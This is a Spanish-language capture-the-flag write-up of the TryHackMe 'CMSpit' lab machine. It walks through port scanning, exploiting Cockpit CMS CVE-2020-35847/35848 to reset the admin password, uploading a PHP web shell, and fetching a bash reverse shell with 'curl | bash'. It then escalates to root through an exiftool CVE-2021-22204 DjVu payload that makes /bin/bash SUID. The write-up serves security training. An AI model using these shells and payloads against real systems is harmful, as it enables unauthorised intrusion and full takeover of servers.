articulos - b0ySie7e
  • 👋Bienvenido
  • Write up
    • 📕DockerLabs
      • QueueMedic
    • 📕Tryhackme
      • VulnneTroasted
      • Relevant
      • Bufferoverflowprep
      • Eavesdropper
      • Kitty
      • Borderlands
      • Willow
      • Gatekeeper
      • Web Strike Blue Team
      • Splunkps Eclipse
      • Sustah
      • Battery
      • The Server From Hell
      • Biteme
      • Zeno
      • Olymus
      • Mastermind
      • Cyber Crafted
      • Ollie
      • Red
      • Opacity
      • Tony The Tiger
      • B3dr0ck
      • Valley
      • Hacker vs Hacker
      • Flatine
      • Glitch
      • Smag Grotto
      • Ninja Skills
      • Corridor
      • TechSupport
      • Kiba
      • Fowsniff CTF
      • Blueprint
      • Anonymous
      • Bookstore
      • Bounty
      • Cmspit
      • Mustacchio
    • 📕Hackthebox
      • Inject
      • Busqueda
      • Monitors Two
      • PC
      • Topology
      • Wifinetic
      • Pilgrimage
      • Keeper
      • Headless
      • Devvortex
      • Codify
      • Perfection
      • Broker
      • Pov
      • Resolute
      • Monteverde
      • Intelligence
      • StreamIO
      • Scrambled
      • Escape
      • Authority
      • Return
      • Timelapse
      • Support
      • Cap
      • Doctor
      • Validation
      • Twomillion
    • 📕PortSwigger
      • SQL Injection
        • Lab: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data
        • Lab: SQL injection vulnerability allowing login bypass
        • Lab: SQL injection attack, querying the database type and version on Oracle
        • Lab: SQL injection attack, querying the database type and version on MySQL and Microsoft
        • Lab: SQL injection attack, listing the database contents on non-Oracle databases
        • Lab: SQL injection UNION attack, determining the number of columns returned by the query
        • Lab: SQL injection UNION attack, retrieving data from other tables
        • Lab: SQL injection UNION attack, retrieving multiple values in a single column
        • Lab: Blind SQL injection with conditional responses
        • Lab: Blind SQL injection with conditional errors
        • Lab: Visible error-based SQL injection
        • Lab: Blind SQL injection with time delays
        • Lab: Blind SQL injection with time delays and information retrieval
        • Lab: Blind SQL injection with out-of-band interaction
        • Lab: Blind SQL injection with out-of-band data exfiltration
        • Lab: SQL injection with filter bypass via XML encoding
  • Articulos
    • 🛠️Proyectos
      • 📝Host Port Discovery
    • 🛠️Laboratorio
      • 📝Hacking Wireles
  • Vulnerabilidaes
    • 🖥️Explotacion
      • CVE-2023-38831
Powered by GitBook
On this page
  • ESCANEO DE PUERTOS
  • SITIO WEB
  • CVE-2020-35847 - CVE-2020-35848
  • WEB SHELL
  • GANAR ACCESO A LA MÁQUINA
  • USER WWW-DATA
  • USER STUX
  • CVE-2021-22204-exiftool
  • USER ROOT
  1. Write up
  2. Tryhackme

Cmspit

PreviousBountyNextMustacchio

Last updated 1 year ago

NOMBRE
Plataforma
OS

CMSpit

TRYHACKME

LINUX

ESCANEO DE PUERTOS

  • Realizamos un escaneo de puertos con la herramienta nmap, en esta caso lo podemos realizar con muchas otras pero yo la realizaré con nmap

  (kali㉿Hacknet)-[~/…/tryhackme/maquinas/CMSpit/recognition]
  Sie7e>$ nmap -p- --open -min-rate 5000 -vvv -n -Pn 10.10.207.156  
  • -p- : Es el rango de puertos las cuales va escanear.

  • --open : Solo nos reportará los puertos que tienen status "open".

  • --min-rate : Indica la tasa minima de paquetes, esto acelerará el escaneo. Esto puede tener muchas deficiencias cuando la condición de la red es muy mala y en ese caso es mejor realizar un T4 o T5.

  • -vvv : Con este parametro podemos ver la output mientras va escaneando y asi adelantar un poco mas de trabajo.

  • -n : Parametro que indica que no deseamos que realiza host discovery, con esto activo puede demorar un poco mas el escaneo.

  Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
  Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-19 12:30 EDT
  Initiating Connect Scan at 12:30
  Scanning 10.10.207.156 [65535 ports]
  Discovered open port 80/tcp on 10.10.207.156
  Discovered open port 22/tcp on 10.10.207.156
  Completed Connect Scan at 12:31, 27.68s elapsed (65535 total ports)
  Nmap scan report for 10.10.207.156
  Host is up, received user-set (0.21s latency).
  Scanned at 2022-03-19 12:30:46 EDT for 28s
  Not shown: 63620 filtered tcp ports (no-response), 1913 closed tcp ports (conn-refused)
  Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
  PORT   STATE SERVICE REASON
  22/tcp open  ssh     syn-ack
  80/tcp open  http    syn-ack

  Read data files from: /usr/bin/../share/nmap
  Nmap done: 1 IP address (1 host up) scanned in 27.74 seconds
  • NMAP nos reporta dos puertos el 22 y 80, entonces con nmap vamos a escanear los servicios y versiones que se estan ejecutando en estos puertos.

  (kali㉿Hacknet)-[~/…/tryhackme/maquinas/CMSpit/recognition]
  Sie7e>$ nmap -p22,80 -sCV -vv -Pn -oN servicesScan.nmap 10.10.207.156
  • -p22,80 : Puertos en espacificos que deseamos escanear.

  • -sC : Scripts por defecto que se usaran para la enumeración.

  • -sV :Enumerar las versiones y servicios

  • -sCV : Otra manera de indicar -sC y -sV de manera junta.

  • -oN : Para que nos guarde la información enumerada en formato nmap.

  # Nmap 7.92 scan initiated Fri Mar 18 13:40:54 2022 as: nmap -p22,80 -sCV -vv -Pn -oN servicesScan.nmap 10.10.207.156
  Nmap scan report for 10.10.207.156
  Host is up, received user-set (0.22s latency).
  Scanned at 2022-03-18 13:40:55 EDT for 22s

  PORT   STATE SERVICE REASON  VERSION
  22/tcp open  ssh     syn-ack OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
  | ssh-hostkey: 
  |   2048 7f:25:f9:40:23:25:cd:29:8b:28:a9:d9:82:f5:49:e4 (RSA)
  | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD7acH8krj6oVh6s+R3VYnJ/Xc8o5b43RcrRwiMPKe7V8V/SLfeVeHtE06j0PnfF5bHbNjtLP8pMq2USPivt/LcsS+8e+F5yfFFAVawOWqtd9tnrXVQhmyLZVb+wzmjKe+BaNWSnEazjIevMjD3bR8YBYKnf2BoaFKxGkJKPyleMT1GAkU+r47m2FsMa+l7p79VIYrZfss3NTlRq9k6pGsshiJnnzpWmT1KDjI90fGT6oIkALZdW/++qXi+px6+bWDMiW9NVv0eQmN9eTwsFNoWE3JDG7Aeq7hacqF7JyoMPegQwAAHI/ZD66f4zQzqQN6Ou6+sr7IMkC62rLMjKkXN
  |   256 0a:f4:29:ed:55:43:19:e7:73:a7:09:79:30:a8:49:1b (ECDSA)
  | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBEnbbSTSHNXi6AcEtMnOG+srCrE2U4lbRXkBxlQMk1damlhG+U0tmiObRCoasyBY2kvAdU/b7ZWoE0AmoYUldvk=
  |   256 2f:43:ad:a3:d1:5b:64:86:33:07:5d:94:f9:dc:a4:01 (ED25519)
  |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKYUS/4ObKPMEyPGlgqg6khm41SWn61X9kGbNvyBJh7e
  80/tcp open  http    syn-ack Apache httpd 2.4.18 ((Ubuntu))
  |_http-server-header: Apache/2.4.18 (Ubuntu)
  |_http-trane-info: Problem with XML parsing of /evox/about
  | http-methods: 
  |_  Supported Methods: GET HEAD POST OPTIONS
  | http-title: Authenticate Please!
  |_Requested resource was /auth/login?to=/
  |_http-favicon: Unknown favicon MD5: C9CD46C6A2F5C65855276A03FE703735
  Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

  Read data files from: /usr/bin/../share/nmap
  Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  # Nmap done at Fri Mar 18 13:41:17 2022 -- 1 IP address (1 host up) scanned in 23.06 seconds

SITIO WEB

Se encuentra un sitio web con un login, de la cual no tenemos credenciales.

Enumerando un poco no topamos un directorio que nos muestra la versión

Teniendo la versión, buscamos un exploit y nos topamos con uno. Este permite enumerar usuarios y cambiar la contraseña.

CVE-2020-35847 - CVE-2020-35848

Nos lo traemos a nuestro direcorio de trabajo y ejecutamos. Enumeramos los usuarios existentes:

  • admin

  • darkStart7471

  • skidy

  • ekoparty

De los cuales podemos cambiar las contraseñas. En caso nuestro cambiaremos la contraseña del usuario admin.

WEB SHELL

Estando logueados podemos enumerar el CMS para realizar ejecución de comandos dentro del sistema. En este apartado vemos un campo en el cual podemos subir un archivo.

Vemos un boton para poder subir un archivo

shell.php

<?php 
   echo(system($_GET['cmd']));
?>

Este archivo en php(web shell) nos permitira ejecutar comandos en el sistema victima.

Ya tenemos la shell.php subida.

Necesitamos la ruta de donde se almacenó nuestro shell.php y para eso nos vamos al apartado siguiente

Si le pasamos el comando ls -la, vemos que los lista los archivos existentes dentro del sistema víctima

GANAR ACCESO A LA MÁQUINA

Para obtener el acceso a la maquína, vamos a crearnos un archivo index.html que contendra lo siguiente.

index.html

bash -i >& /dev/tcp/YOU-IP/443 0>&1

Esto se puede realizar de muchas maneras ya que tenemos ejecución de comandos a nivel del sistema víctima.

Luego iniciamos un servidor en python indicandole el puerto en donde va ejecutarse.

python3 -m http.server 80

Y ponernos a la escucha en el puerto 443 para ganar acceso a la máquina, ya que en el archivo index.html le indicamos que a ese puerto nos enviará una shell.

ncat -lnvp 443

En la url ponemos lo siguiente:

http://10.10.207.156/storage/uploads/2022/03/19/62360bf9715d0shell.php?cmd=curl http://IP | bash 

Realizamos un curl a nuestro servidor que esta con python y lo vamos a interpretar con bash, esto noes permite entablarnos un shell a nivel de terminal

Una vez ganado acceso, realizamos un tratamiento de la tty, para tener un mejor manejo de la consola y que esta sea iteractiva

script /dev/null -c bash
^Z
stty raw -echo; fg
reset xterm

export TERM=xterm
export SHELL=/bin/bash 

stty rows <your rows terminal> columns <your columns terminal>

USER WWW-DATA

Enumerando los directorios, en /home/stux encontramos un archivo .dbshell

En este archivo encontramos credenciales del usuario stux que usa en una base de datos. Entonces podemos probar si se reutilizan las credenciales

Desde luego se estan reutilizando las credenciales

USER STUX

Teniendo las credenciales vamos a enumerar los privilegios que tiene este usuario

sudo exiftool -filename=/tmp/root.txt /root/root.txt

Ya tenemos nuestra flag, pero lo que queremos es ganar privilegios de usuario root

CVE-2021-22204-exiftool

Buscando en la web y damos con un blog en la que explica la vulnerabilidad y como podemos ejecutar comandos de manera manual.

Exploit que podemos usar para generar de manera automatizada nuestra imagen con el payload indicado.

Vamos a instalar la djvulibre-bin

(kali㉿Hacknet)-[~/…/tryhackme/maquinas/CMSpit/exploit]
Sie7e>$ sudo apt install djvulibre-bin

Tambien necesitaremos un imagen y nuestro payload que queremos que ejecute root.

Payload, contendra lo siguiente:

(metadata "\c${system('chmod +s /bin/bash')};")

Con esto vamos a la /bin/bash para que sea SUID y con bash -p podamos ser usuario root.

Ejecutamos bzz:

(kali㉿Hacknet)-[~/…/tryhackme/maquinas/CMSpit/exploit]
Sie7e>$ bzz payload payload.bzz

Creamos un exxploit.djvu:

(kali㉿Hacknet)-[~/…/tryhackme/maquinas/CMSpit/exploit]
Sie7e>$ djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz

configfile

Ahora solo le pasamos el payload a nuestra imagen y cuando se ejecute con exiftool ejecutaremos el comando que le indicamos en nuestro payload

(kali㉿Hacknet)-[~/…/tryhackme/maquinas/CMSpit/exploit]
Sie7e>$ exiftool -config configfile '-HasselbladExif<=exploit.djvu' image.jpg

Subimos nuestra imagen con al maquina victima, hay muchas maneras de como subirlo (pyhton, ncat).

La bash no es SUID

Ejecutamos exiftool ccon nuestra imagen, y deberia de haber cambiado los permisos de la /bin/bash

La /bin/bash ahora es SUID

USER ROOT

Vamos a subir una en php.

Si nos vamos a , vemos una manera de obtener los archivos. Haciendo uso del siguiente comando

BLOG :

📕
web shell
gtfobins
cve-2021-22204-exiftool-rce